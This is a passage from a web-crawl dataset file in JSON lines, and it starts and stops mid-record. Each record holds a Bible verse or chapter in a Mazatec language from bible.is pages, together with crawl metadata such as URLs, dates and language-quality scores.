5","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/MAASJV\/Mark\/5","date":"2014-03-16T21:31:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394678703748\/warc\/CC-MAIN-20140313024503-00013-ip-10-183-142-35.ec2.internal.warc.gz","language":"maa","language_score":1.0000077486,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"maa_Latn_score\": 1.0000077486038208}","num_words":780,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.235,"stopwords_ratio":0.282,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"38'Kia̱ nga ijye kjomà nga'tsì jñà kjoa̱ kìi̱, jè José ra ya̱ i̱'nde‑la̱ ya̱ na̱xi̱ndá Arimatea, ra ti̱'koa̱ ya̱ kotá'yá'ta‑la̱ Jesús, tanga mì tsa ngi tsakón ijo‑la̱ tsa xi̱ta̱‑la̱ Jesús, tà nga̱tjì‑la̱ nga xi̱ta̱xá 'tse̱ xi̱ta̱ judío tsakjón‑la̱. Jè xi̱ta̱ ra̱kìi̱, isíjé'ndeé‑la̱ jè Pilato nga ko̱ma i̱ko̱ jè ijo‑la̱ Jesús, ko̱ jè Pilato kitsjá'nde‑la̱, a̱kjòn tsaje̱n‑ngi‑ni ya̱ krò jè ijo‑la̱ Jesús nga kiìko̱.\nSan Juan 19:38\nFREE!\nOne App.\n863 Languages.","id":"","dump":"CC-MAIN-2014-15","url":"http:\/\/www.bible.is\/MAASAV\/John\/19\/38","date":"2014-04-23T13:22:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-15\/segments\/1398223202548.14\/warc\/CC-MAIN-20140423032002-00489-ip-10-147-4-33.ec2.internal.warc.gz","language":"maa","language_score":1.0000097752,"language_script":"Latn","minhash_cluster_size":25,"top_langs":"{\"maa_Latn_score\": 1.0000097751617432}","num_words":69,"character_repetition_ratio":0.071,"word_repetition_ratio":0.0,"special_characters_ratio":0.246,"stopwords_ratio":0.377,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"17Tsà tjín jngoò xi̱ta̱ xi tjín‑la̱ tsojmì xi tímochjeén kjit'aà‑la̱, tsà skoe̱ jngoò xi̱ta̱ xíkjín xi ti̱koa̱ i̱t'aà ts'e̱ Cristo mokjeiín‑la̱ nga tsjìn‑la̱ tsojmì xi mochjeén‑la̱, tsà mìkiì ma‑la̱ nga ko̱si̱ko̱ jè xi̱ta̱ xíkjín xi i̱t'aà ts'e̱ tsojmì xi tsjìn‑la̱, mìtsà kixi̱ kjoa̱ nga kjo̱tsjacha‑la̱ Nainá tíjnajiìn ini̱ma̱‑la̱.\n1 Juan 3:17\nFREE!\nOne App.\n997 Languages.","id":"","dump":"CC-MAIN-2014-23","url":"http:\/\/www.bible.is\/MAASJV\/1John\/3\/17","date":"2014-07-12T23:06:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-23\/segments\/1404776435471.2\/warc\/CC-MAIN-20140707234035-00007-ip-10-180-212-248.ec2.internal.warc.gz","language":"maa","language_score":1.0000091791,"language_script":"Latn","minhash_cluster_size":23,"top_langs":"{\"maa_Latn_score\": 1.0000091791152954}","num_words":53,"character_repetition_ratio":0.107,"word_repetition_ratio":0.0,"special_characters_ratio":0.229,"stopwords_ratio":0.302,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"21―¡I̱ma̱ xó‑nò jñò, xi̱ta̱ na̱xa̱ndá Corazín! ¡I̱ma̱ xó‑nò jñò, xi̱ta̱ na̱xa̱ndá Betsaida! Tsà ya̱‑làne na̱xa̱ndá Tiro ko̱ Sidón nga k'oa̱s'ín kis'iaàn kjo̱xkón xi ndaà tjín xi komà ya̱ i̱jiìn na̱xa̱ndá tsa̱jòn, tsà jñà xi̱ta̱ Tiro ko̱ Sidón kijtseè, jyeé‑la nikje naxá íkjá ko̱ chijo ni'ín kisìkaàjno sko̱ koni seña nga jye kisìkájno kjoa̱ ts'e̱ jé‑la̱, mì ti̱ jé ótsji‑ne.\nSan Mateo 11:21\nFREE!\nOne App.\n1002 Languages.","id":"","dump":"CC-MAIN-2014-23","url":"http:\/\/www.bible.is\/MAASJV\/Matt\/11\/21","date":"2014-07-30T09:49:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-23\/segments\/1406510270313.12\/warc\/CC-MAIN-20140728011750-00185-ip-10-146-231-18.ec2.internal.warc.gz","language":"maa","language_score":0.9998764992,"language_script":"Latn","minhash_cluster_size":25,"top_langs":"{\"maa_Latn_score\": 0.9998764991760254}","num_words":65,"character_repetition_ratio":0.102,"word_repetition_ratio":0.0,"special_characters_ratio":0.242,"stopwords_ratio":0.246,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"20Jñá xojmá ra ixaájten ya̱ ñánda̱ nga nda nangi, jñá jngoya‑la̱ xi̱ta̱ ra 'nchré 'én‑la̱ Nainá ko̱ makjiín‑la̱. Batsíjeén kjoa̱ ra nda tjín ra a̱'ta 'tse̱. 'Koa̱á 'sín ma koni jñà xojmá ra nda bajà‑la̱ to, nga tjín ra katé bajà‑la̱, ko̱ tjín ra jàn‑kan bajà‑la̱, ko̱ skanda tjín ra jngo sindo̱ to bajà‑la̱ nga jngó jngó tja'tsin yá.\nSan Marcos 4:20\nFREE!\nOne App.\n989 Languages.","id":"","dump":"CC-MAIN-2014-23","url":"http:\/\/www.bible.is\/MAASAV\/Mark\/4\/20","date":"2014-07-11T17:52:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-23\/segments\/1404776428349.3\/warc\/CC-MAIN-20140707234028-00058-ip-10-180-212-248.ec2.internal.warc.gz","language":"maa","language_score":0.9999978542,"language_script":"Latn","minhash_cluster_size":29,"top_langs":"{\"maa_Latn_score\": 0.9999978542327881}","num_words":65,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.264,"stopwords_ratio":0.369,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Nga'tsì xi̱ta̱ na̱xi̱ndá‑la̱ Nainá ra chi̱'nda títsa̱jna'ñó, nda katabexkón ni‑la̱ mé‑ni nga mì yá ra 'cho ki̱chja̱jno‑la̱ Nainá ko̱ jè 'én ra bakon‑yeé a̱'ta 'tse̱ Cristo. 2Jñà xi̱ta̱ chi̱'nda ra makjiín‑la̱ ni‑la̱ a̱'ta 'tse̱ Cristo, machjeén‑ní nga ti̱'koa̱ nda katabexkón‑te ni‑la̱, nga̱ 'ndse̱é jo̱ó a̱'ta 'tse̱ Cristo. Ndaá katasíxá‑la̱, nga̱ ngásòn makjiín‑la̱ 'én‑la̱ Nainá ti̱'koa̱á tjín‑la̱ kjo̱tsjacha nga 'ndse̱ jo̱ó. Jñà 'én kìi̱, ta̱kón‑yi ti̱'koa̱ ti̱ka'bísìn. 3Tsa tjín xi̱ta̱ ra kj'ií tsò 'én ra bakón‑ya, nga mì tjíjngo ikon koni 'sín tsò 'én nda‑la̱ Jesucristo ra tíjna ítjòn‑ná, ti̱'koa̱ mì kì tjíjngo ikon a̱'ta 'tse̱ kjo̱téxoma nga 'yaxkén Nainá. 4Xi̱ta̱ kìi̱, xi̱ta̱ 'ngatakón‑ní, nìmé machi̱ya‑la̱. 'Ñó tsjake nga bátiya‑ni 'én ra nìmé chjí‑la̱. Ya̱á nchrabá‑ni nga maxitakòn‑cheé xàngie̱é, nga bixkàn‑kjeé, nga nakjoájno‑lá xàngie̱é 'én ra 'cho tsò, ti̱'koa̱ 'cho níkítsjeén a̱'ta 'tse̱ xi̱ta̱ ra kj'ií. 5Ti̱'koa̱á ya̱á nchrabá‑ni nga kji'tá ni̱chjin nga i̱nchikjaán‑kjo jñà xi̱ta̱ ra mì kì kixi̱ síchjeén kjo̱bítsjen‑la̱ ko̱ mì kì tsa nda fì'ta‑la̱ ra kjo̱hixi̱. 'Koa̱á 'sín síkítsjen, tsò‑ní: tsa nda jcha̱xkén Nainá, ya̱á sa̱kó‑ná to̱n. Ra ji̱, kì 'koa̱á tjín kjoa̱ ra níkítsjin. 6Kixi̱í kjoa̱, tseé kjo̱nda sakó‑la̱ xi̱ta̱ 'kia̱ nga bexkón Nainá, tsa 'kia̱ nga tsja tjín‑la̱ inìma̱‑la̱ mé ra tjín‑la̱. 7Nga̱ ni̱mé ra ki'ché 'kia̱ nga kitsieén i̱ i̱sà'nde. Ti̱'koa̱á ni̱mé ra ko̱híke̱é 'kia̱ nga ki̱yé. 8Tsa tjín‑ná tsajmì ra chineé ko̱ tsa tjín‑ná nikje ra tsjayeé, machjeén‑ní nga tsja 'se̱‑ná ko̱ kíjngo‑lá takén. 9Tanga jñà xi̱ta̱ ra kjoa̱nchi̱ná mejèn‑la̱, nda mí be‑ni, ya̱á síkijne‑la̱ kjoa̱ ra 'cho tjín, koni tsa 'kia̱ jngo cho̱ kangi chi̱n. Jñà 'ñó ma mejèn‑la̱ kjoa̱ ra ni̱mé chjí‑la̱ ra 'cho síko̱‑ná. Tanga jñà kjoa̱ kìi̱ síkitsón ko̱ síjchijaá xi̱ta̱. 10'Kia̱ nga to̱n matsjacheé, ya̱á ma'tsia̱‑ni kjoa̱ 'tse̱ jé ko̱ nga'tsì kjoa̱ ra 'cho tjióo̱n. Tjín i'ka xi̱ta̱ ra tà nga̱tjì‑la̱ tse to̱n mejèn‑la̱ 'se̱‑la̱, ijyeé tsincha'taxìn‑la̱ kjoa̱ ra makjiín‑ná a̱'ta 'tse̱ Cristo. 'Koa̱á 'sín ma‑ni nga ti̱jñà 'ñó i̱nchitsjá‑ila̱ kjo̱hi'in ijo‑la̱. 11Tanga ngaji̱ ra xi̱ta̱‑la̱ Nainá 'mì‑li, ti̱se̱n'taxìn‑la̱ nga'tsì kjoa̱ kìi̱. Jè 'tin‑tji̱ngi‑la̱ ra kjo̱hixi̱. Jcha̱xkín Nainá. Nda katakjiín‑li a̱'ta 'tse̱ Cristo. Kata'se‑li kjo̱tsjacha. Tsejta katama inìma̱‑li nga ma‑li jchíñakji̱i, ko̱ indakjoa̱ ti̱kíjni inìma̱‑li. 12Nda ti̱xkan‑tjì kjoa̱ ra makjiín‑ná a̱'ta 'tse̱ Cristo. Kì nìkíjna‑jìn ndi̱yá kixi̱ 'tse̱ kjo̱binachon ra mì fehe'ta ni̱ta kjiá‑nioo̱. Nga̱ kií xá kiìchja̱‑li Nainá. Ngaji̱ ijyeé ko̱'sín nda ki'tsì ndsa̱'bì 'kia̱ nga inìkixi̱yi 'én ra makjiín‑li a̱'ta 'tse̱ Cristo ya̱ ngixko̱n xi̱ta̱ ra kjìn ma‑ni nga kií'nchré. 13'Ndi̱ 'ndi̱, jngo xá tíbiné‑la ya̱ ngixko̱n Nainá ra síkítsa̱jnakon ijye ni̱ta mé ra tjín, ti̱'koa̱ ya̱ ngixko̱n Jesucristo ra nda kitsjà tsa'ba nga isìkixi̱ya 'én nda‑la̱ 'kia̱ nga kiìchja̱ ya̱ ngixko̱n Poncio Pilato. 14'Koa̱á 'sín tíbatexóma‑la, nda ti̱hitjasìn kjo̱téxoma kìi̱; kì ni̱mé nikaatjìya‑la̱ mé‑ni nga mì ko̱chrjengi‑li xi̱ta̱ skanda 'kia̱ nga kj'i̱í india‑ni Jesucristo ra tíjna ítjòn‑ná. 15'Kia̱ nga ki̱jchò ni̱chjin‑la̱, jè Nainá, 'koa̱á 'sín si̱hitjasòn ijye kjoa̱ kìi̱. Nga̱ ta jè ta̱jngoó‑ni ra 'ñó tíbatéxoma ko̱ nga tse kjo̱nda tíjnajin ra jè. Jé tíjna ítjòn‑la̱ jñà ra xi̱ta̱xá ítjòn títsa̱jna, ti̱'koa̱ tíjna ítjòn‑la̱ jñà ra xi̱ta̱ ítjòn títsa̱jna. 16Ta̱jngoó Nainá ra xá ko̱'sín tíjna‑ni nga mì kì biya. Ya̱á tíjnajin kjoa̱hisen ñánda̱ nga mì yá ra ko̱ma ki̱jchò ka'ta‑la̱. Ni̱ kjè sa jngo xi̱ta̱ be, ni̱ mì kì tjí'nde‑la̱ nga ske̱. Nainá, kji'tá ni̱chjin jeya katijna. Kata'yaxkón kjo̱téxoma‑la̱ ni̱ta kjiá‑nioo̱. Ko̱'sín katama. 17Jñà xi̱ta̱ nchi̱ná ra tjín i̱ i̱sà'nde, 'koa̱á 'sín 'ñó tì'tin: kì bá'nga‑la̱ ikon. Kì ya̱ ma'ñó'ta ikon kjoa̱nchi̱ná ra tjín‑la̱ ra tà ndi̱to̱n fehe'ta. Jè katama'ñó'ta ikon Nainá ra tíjnakon, nga̱ jé tsjá ijye‑ná ra machjeén‑ná, skanda síkatoné‑la̱ mé‑ni nga ko̱ kjo̱tsja‑ná si̱chjeén tsajmì ra tsjá‑ná. 18Ko̱'tìn‑la̱, kjo̱nda kata'sín. Kata'se‑la̱ kjoa̱nchi̱ná ya̱ ngixko̱n Nainá a̱'ta 'tse̱ kjo̱nda ra 'si̱in. Kì kjo̱xkon fí'ká, ngi ko̱ó inìma̱‑la̱ katatsjá i̱tsé‑la̱ xákjién mé ra tjín‑la̱. 19Tsa ko̱'sín si̱hitjasòn ni̱chjin 'ndi̱ 'ndi̱, 'se̱é‑la̱ kjoa̱nchi̱ná ra mì kì fehe'ta 'kia̱ nga ijye títsa̱jna ya̱ ngixko̱n Nainá. Ti̱'koa̱á tjábé‑la̱ kjo̱nda ra ngi 'tse̱ kjo̱binachon. 20Ngaji̱ Timoteo, nda ti̱hitjasìn 'én nda‑la̱ Nainá ra ji̱ kjonga̱tsji. Kì jñà na'yá‑la̱ 'én ndiso ra nìmé chjí‑la̱, ko̱ kì jñà nisin‑la̱ kjoa̱ ra chitiya‑ná 'tse̱ kjo̱chji̱ne̱ ra 'én ndiso. 21Tjín i'ka xi̱ta̱ ra ko̱tjín kjo̱bítsjen fìtji̱ngi‑la̱. 'Koa̱á ma‑ni mincha'taxìn‑la̱ kjoa̱ ra makjiín‑ná a̱'ta 'tse̱ Cristo. Nainá katasíchikon'tin‑li. Ko̱'sín katama.\nCopyright","id":"","dump":"CC-MAIN-2016-18","url":"http:\/\/www.bible.is\/MAASAV\/1Tim\/6","date":"2016-05-06T20:52:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-18\/segments\/1461862134822.89\/warc\/CC-MAIN-20160428164854-00191-ip-10-239-7-51.ec2.internal.warc.gz","language":"maa","language_score":1.0000078678,"language_script":"Latn","minhash_cluster_size":21,"top_langs":"{\"maa_Latn_score\": 1.0000078678131104}","num_words":687,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.231,"stopwords_ratio":0.279,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jñò xi nei‑la̱ xá ma, ndaà ti̱ko̱o jñà xi̱ta̱ chi̱'nda‑nò koni s'ín tjín xi kjoa̱ kixi̱, nga jñò 'yaà‑nò nga ti̱koa̱ tjín jngoò‑nò xi Nei‑nò ma ján ngajmiì. 2Kì bìkjoàn‑là nga nokjoàt'aà‑là Nainá; kjit'aà na̱chrjein titsa̱jnandaà nga ti̱nókjoa̱t'aà‑là ko̱ tjiì‑là kjo̱ndaà Nainá. 3K'oa̱á ti̱s'ín titsi'batjì‑náje̱n, mé‑ne jè Na̱'èn‑ná kàtatsjá'nde nga ko̱ma kéno̱jmí‑je̱n 'én‑la̱ Cristo xi tjí'ma‑la̱ Nainá nga sa̱ ítjòn; nga koií kjoa̱‑la̱ nga nda̱yá tìjna̱a'ya. 4Titsi'batjì‑ná mé‑ne nga s'e̱‑na nga'ñó nga ndaà kixi̱ kichjàjiìn‑la̱ xi̱ta̱ koni s'ín tjínè‑la̱ nga kichjà. 5Jñò, ndaà ti̱kjeén kjo̱hítsjeèn‑nò mé‑ne nga ndaà ki̱tsa̱jnako̱o jñà xi̱ta̱ xi mìkiì beèxkon 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo. Ndaà ti̱kjeén na̱chrjein xi tí'biì‑nò nga ko̱s'ín ti̱kitasòn. 6K'e̱ nga chiko̱o xi̱ta̱, jñà 'én ti̱nókjoa̱a xi ndaà tsò ko̱ xi ndaà sasén‑la̱ mé‑ne nga ko̱ma si̱kátji‑là 'én xi sko̱nangui‑nò. 7Ngats'iì kjoa̱ xi tímat'ian, jè ke̱èno̱jmí yije‑nò jè 'ndseé Tíquico xi 'a̱n 'ñó ndaà matsjake̱ nga jè ndaà síchját'aà‑na koa̱ ndaà nìxákjoò‑la̱je̱n Nainá. 8Koií xá tìsìkasén‑nò nga ke̱èno̱jmí‑nò xi i̱t'aà tsa̱je̱n kós'ín titsa̱jna‑je̱n ko̱ mé‑ne nga kàtatsjá‑nò nga'ñó ts'e̱ ini̱ma̱‑nò. 9Ti̱koa̱á ya̱ tíbáhijtako̱ Onésimo xi xi̱ta̱ tsa̱jòn, xi 'ndsè ma i̱t'aà ts'e̱ Cristo. Nga xi̱ta̱ kixi̱‑né ko̱ 'ñó matsjacha‑je̱n. Jñà ke̱èno̱jmí‑nò mé kjoa̱ xi tíma i̱jndé. 10Jè Aristarco xi ta̱ña titsa̱jnaya‑je̱n nda̱yá, tísíhixat'aà‑nò. Ko̱ jè Marcos xi ti xíkjín ma Bernabé ti̱koa̱á tísíhixat'aà‑nò. Jyeé kis'eno̱jmí‑nò i̱t'aà ts'e̱ Marcos; tsà ya̱ ki̱jchòkon‑nò, t'e̱en kjo̱ndaà ndaà chjoétjò. 11Ti̱koa̱á tísíhixat'aà‑nò Jesús xi ti̱koa̱ Justo 'mì. Tà jñà‑né xi xi̱ta̱ judío xi mokjeiín‑la̱ xi k'oa̱s'ín 'ñó ndaà nchisíxáko̱‑na i̱t'aà ts'e̱ kjo̱tíxoma‑la̱ Nainá ko̱ 'ñó ndaà síjehikon‑na. 12Epafras, xi chi̱'nda‑la̱ Cristo, ti̱koa̱á tísíhixat'aà‑nò nga xi̱ta̱ tsa̱jòn‑nò. Kjit'aà na̱chrjein bìtsi'batjì‑nò mé‑ne nga nguì kixi̱ ki̱tsa̱jnaà koa̱ ndaà ki̱tsa̱jnandaà nga si̱kitasòn mé xi mejèn‑la̱ Nainá. 13'A̱n, ndaà tìbe nga jè Epafras 'ñó síkájno xi i̱t'aà tsa̱jòn ko̱ i̱t'aà ts'e̱ xi̱ta̱ xi títsa̱jna ján na̱xa̱ndá Laodicea ko̱ xi títsa̱jna ján na̱xa̱ndá Hierápolis. 14Tísíhixat'aà‑nò Lucas jè xi chji̱ne̱xkiì xi 'ñó matsjacha‑je̱n, ti̱koa̱ tísíhixat'aà‑nò jè Demas. 15Xi i̱t'aà ts'a̱n ti̱ixat'aà‑ná jñà 'ndseé xi títsa̱jna ján na̱xa̱ndá Laodicea, ko̱ jè chjo̱ón tichjaá Ninfa, ko̱ ngats'iì xi̱ta̱ na̱xa̱ndá‑la̱ Cristo xi ya̱ bixoña ni'ya‑la̱. 16K'e̱ nga jye kíxke̱jiìn‑là xinguio̱o xo̱jo̱n jè, ti̱koa̱á kàtaxke̱jiìn‑la̱ na̱xa̱ndá‑la̱ Cristo xi títsa̱jna ján Laodicea; koa̱ jè xo̱jo̱n xi ts'e̱ Laodicea ti̱koa̱á tíxke̱jñoò. 17Koa̱tìn‑la̱ jè Arquipo: kàtasíkitasòn xá xi kitsjaà‑la̱ Cristo. 18Nga jye tífehet'aà xo̱jo̱n jè, ko̱ó ndsa̱a tìkjiì‑nò 'a̱n xi 'mì‑na Pablo, nga tisìhixat'aà‑nò. Ti̱kítsjeèn nga nda̱yá tìjna̱'ya. Jè kàtìjnako̱‑nò kjo̱ndaà‑la̱ Nainá. K'oa̱ s'ín kàtama.\nCopyright","id":"","dump":"CC-MAIN-2016-18","url":"http:\/\/www.bible.is\/MAASJV\/Col\/4","date":"2016-05-05T12:42:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-18\/segments\/1461860127407.71\/warc\/CC-MAIN-20160428161527-00211-ip-10-239-7-51.ec2.internal.warc.gz","language":"maa","language_score":1.0000075102,"language_script":"Latn","minhash_cluster_size":20,"top_langs":"{\"maa_Latn_score\": 1.0000075101852417}","num_words":398,"character_repetition_ratio":0.071,"word_repetition_ratio":0.0,"special_characters_ratio":0.218,"stopwords_ratio":0.312,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'Kia̱ nga jè Forrè tsjahíxìn jè chi̱ba̱ ra ma‑ni ito ñánda̱ nga tjíchjá'ñó xa̱jo̱n ra kjixkóya, maseén‑la hora jñá ki'se ya̱ ján ngajmi. 2A̱kjòn kíjtsee̱ jñà ìkja̱li̱ ra ito ma‑ni ra i̱ncha kixi̱ ya̱ ngixko̱n Nainá nga jngó jngó chrjoo̱ ki'tsì‑la̱. 3'Kia̱á 'ji ìjngo‑isa ìkja̱li̱ ra 'ya jngo ki̱cha̱ sinè jè ra ya̱ tìya chrjongó nainá; tsasijna kixi̱ ya̱ a̱'ta ímixa̱ tsje ya̱ ñánda̱ nga tì jè chrjongó nainá; ki'tsì‑isa‑la̱ mé‑ni ya̱ si̱ìjngoko̱‑ni jñà kjo̱bitsa'ba‑la̱ jñà xi̱ta̱‑la̱ Nainá; ya̱á tsaká ya̱ a̱sòn ímixa̱ tsje ra ngi ki̱cha̱ sinè ra tíjna ya̱ ngixko̱n jè ra tíjnasòn íxile̱ nga tíbatéxoma. 4Jè ni̱'ndi̱‑la̱ chrjongó nainá, ya̱á tjíjngoko̱, ko̱ jñà kjo̱bitsa'ba‑la̱ jñà xi̱ta̱‑la̱ Nainá nga kijìmijìn koni 'sín nga tsá'ya jè ìkja̱li̱ nga ijchò skanda ñánda̱ nga tíjna jè Nainá. 5Jè ìkja̱li̱, a̱kjòn 'kia̱á iskábé jè ki̱cha̱ ra tìya chrjongó nainá; tsinchá‑isa xó'bí ra títì nga tjísòn ya̱ ímixa̱ tsje; a̱kjòn ya̱á isìkàtje̱n ya̱ a̱sòn i̱sà'nde, ko̱ 'ñó kitsin 'cho̱n, ko̱ ina'yá‑la̱ jta̱, ko̱ 'ñó jate ko̱ ti̱'koa̱á 'tsa chón. 6Jñà ìkja̱li̱ ra ito ma‑nioo̱ ra ito chrjoo̱ tjíma'ya; tsikitsa̱jna nda‑ní nga si̱ìkji'ndá chrjoo̱‑la̱. 7Jè ìkja̱li̱ ra síjna ítjòn, isikji'ndá jè chrjoo̱‑la̱; ko̱ a̱kjòn 'kia̱á inikasén ya̱ a̱'ta nangi jtsí na̱jo̱ ko̱ ni'í ra tjíkójin jní. Nga jàn‑ya i̱sà'nde, jngo‑yá kitì; ko̱ ti̱'koa̱á ta nga'tsì jñà yá ra tjín, jè ra jàn‑ya, jngo‑ya kitì‑te; ko̱ kitì ijye‑ní nga'tsì xka̱ ijñá. 8Jè ìkja̱li̱ ra ma‑ni jò isikji'ndá jè chrjoo̱‑la̱; ko̱ 'kia̱á inìkàtje̱n‑jin ya̱ ndáchikon jngo ra ko̱'sín 'ki koni jngo nindo ra 'ñó je 'ki ra títì jnga̱ jnga̱. Ko̱ jè ra jàn‑ya 'ka̱ tjín‑ni jè ndáchikon, jngo‑yá, ngi jní kjomà. 9Jñà cho̱ ra tjín ya̱ a̱jin ndáchikon, jè ra jàn‑ya ta nga'tsì cho̱, jngo‑yá 'ken. Ko̱ ti̱'koa̱á jè ra jàn‑ya ta nga'tsì chitso ra tjín ya̱ a̱jin ndáchikon, jè ra jngo‑yá, ngi kinìkitsón‑ña‑ní. 10Jè ìkja̱li̱ ra ma‑ni jàn isikji'ndá jè chrjoo̱‑la̱, ko̱ jngo nitse ra 'ñó je 'ki iskàtje̱n‑ngi‑ni ya̱ ján ngajmi ra ko̱'sín 'ki koni jngo ni'í ra títì jnga̱ jnga̱; ko̱ jè nitse ra̱kìi̱, jè ra jàn‑ya ta nga'tsì xa̱ngá nandá, ya̱á iskàtje̱n‑jin jè ra jngoyá xa̱ngá ko̱ nga'tsì i̱'nde ñánda̱ nga títjo nandá. 11Jè 'í‑la̱ nitse ra̱kìi̱: xka̱ tsja 'mì, jè ra jàn‑ya ma‑ni ta nga'tsì nandá, jngo‑yá kjotsja; ko̱ kjín jchán xi̱ta̱ 'ken ta nga̱tjì‑la̱ nga kjotsja nandá. 12Jè ìkja̱li̱ ra ma‑ni ijòn, isikji'ndá jè chrjoo̱‑la̱, a̱kjòn jè ra jàn‑ya, koni 'sín 'ki jè tsá'bí, jngo‑yá itsi'on; ko̱ jè sá, 'koa̱á ti̱'sín kjomà; ko̱ jñà nitse, 'koa̱á ti̱'sín kjomà‑te; a̱kjòn kjòjñò jngo‑yá jè tsá'bí ko̱ jè sá ko̱ jñà nitse; ko̱ jè ni̱chjin 'kia̱ nga jàn‑ya tjín‑ni, jngo‑yá kjòjñò, ko̱ 'koa̱á ti̱'sín kjomà 'kia̱ nga ni̱tje̱n. 13'Kia̱á ískotsíjee̱n, kí'nchrè jngo‑la̱ xija̱ nga itjotjén ya̱ masen‑la̱ a̱jin i̱sén. Ko̱ 'ñó kiìchja̱ nga kitsò: ―¡I̱ma̱‑ró‑ni, i̱ma̱‑ró‑ni, i̱ma̱‑ró‑ni jñà xi̱ta̱ ra tjín ya̱ a̱'ta nangi; batoó 'ñó ton ko̱ma'tin 'kia̱ nga si̱ìkji'ndá chrjoo̱‑la̱ jñà ìkja̱li̱ ra ngi jàn chija‑isa!\nCopyright","id":"","dump":"CC-MAIN-2016-18","url":"http:\/\/www.bible.is\/MAASAV\/Rev\/8","date":"2016-05-06T17:06:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-18\/segments\/1461861848830.49\/warc\/CC-MAIN-20160428164408-00105-ip-10-239-7-51.ec2.internal.warc.gz","language":"maa","language_score":1.0000089407,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"maa_Latn_score\": 1.0000089406967163}","num_words":477,"character_repetition_ratio":0.08,"word_repetition_ratio":0.0,"special_characters_ratio":0.24,"stopwords_ratio":0.342,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'Kia̱ nga ijye nda ítjo̱jin tsje‑ji̱n ya̱ ndáchikon, ya̱á ki'sena̱jmí‑naji̱n nga ya̱ i̱'nde ra̱kìi̱, Malta 'mì. 2Jñà xi̱ta̱ ra ya̱ i̱'nde‑la̱, ndaá isìko̱‑naji̱n; tsikítseé‑naji̱n ni'í nga ma tsikìtsa̱'ngì‑ji̱n, ta nga̱tjì‑la̱ nga jtsí tí'ba ko̱ 'nchán tíma. 3Jè Pablo tsikíxkó chiba chikín kixì. 'Kia̱ nga tsinchájin ya̱ ni'í, jngo ye̱ itjokàjin ya̱ ni'í nga tsjè kjomà‑la̱; tsi'ké‑la̱ ya̱ tsja Pablo. 4Jñà xi̱ta̱ ra ya̱ i̱'nde‑la̱ 'kia̱ nga kijtse nga jè ye̱ tjo̱'bángi ya̱ tsja Pablo, kitsó‑la̱ xákjién: ―Jè xi̱ta̱ ra̱kìi̱, xi̱ta̱á‑la kisi'ken; nga̱ ni̱'sín nda kabitjokàjin‑ni ya̱ ndáchikon, jé‑la nga'ñó‑la̱ i̱sà'nde nga tjín‑la̱ kjo̱hixi̱, majìn‑la̱ nga kíjnakon. 5Tanga jè Pablo, tsikítsajneé tsja nga isìkàtje̱n‑jin ni'í jè ye̱; ko̱ ni̱mé ra kjomà‑la̱. 6Nga'tsì xi̱ta̱, 'koa̱á 'sín i̱nchikoñá tsa ki̱tjoyaá tsja ko̱ tsa ki̱yá‑ní; 'kia̱ nga kijtse nga ijyeé kjìn hora tsato nga ni̱mé ra kjomà‑la̱, jahatjìyaá‑la̱ kjo̱bítsjen‑la̱, kitsò‑la̱ xákjín: ―Nainá‑la. 7Ya̱ chraña'tá‑la̱ i̱'ndee̱ ñánda̱ nga ijchò‑ji̱n, kjín'nde nangi kjihijyo ra chja̱'nda jè xi̱ta̱ ra tíjna ítjòn ya̱ i̱'nde ra̱kìi̱, jè ra 'mì Publio. Jàn ni̱chjin kitsjá'nde‑naji̱n nga ya̱ itsjahijyo‑naji̱n; ko̱ 'ñó nda isìsin‑naji̱n. 8Jñà ni̱chjin kìi̱, jè na̱'ìn‑la̱ Publio, kiya‑ní; títìjnga‑ní ko̱ xo̱jmá jní tí'fa‑la̱. Pablo kiìkatsíjeén‑la̱, a̱kjòn 'kia̱á kiìchja̱'ta‑la̱ Nainá, ko̱ tsakásòn‑la̱ tsja; ko̱ kjondaá‑ni. 9'Kia̱ nga kií'nchré jñà xi̱ta̱ ra kiya ya̱ i̱'nde ra̱kìi̱, ti̱'koa̱á inchrabà‑te ya̱ ñánda̱ tíjna Pablo. Ko̱ kjonda ijyeé‑ni jñà ra 'jìoo̱. 10Jñà xi̱ta̱, 'ñó nda isìsin‑naji̱n; ko̱ 'kia̱ nga tsangì‑naji̱n nga ichjíbé ìjngo‑isa‑ji̱n chitso, isi'ka ijyeé‑naji̱n nga'tsì tsajmì ra ko̱chjeén‑naji̱n ya̱ ndi̱yá. 11'Kia̱ nga ijye ijye jàn sá nga titsa̱jna‑ji̱n ya̱ i̱'nde ra̱kìi̱, tsangì-isa‑ji̱n. Tsitjàha̱'se̱n jngo‑ji̱n chitso ra 'tse̱ na̱xi̱ndá Alejandría ra ti̱'koa̱ ya̱ kisijnajin‑te nandá ya̱ 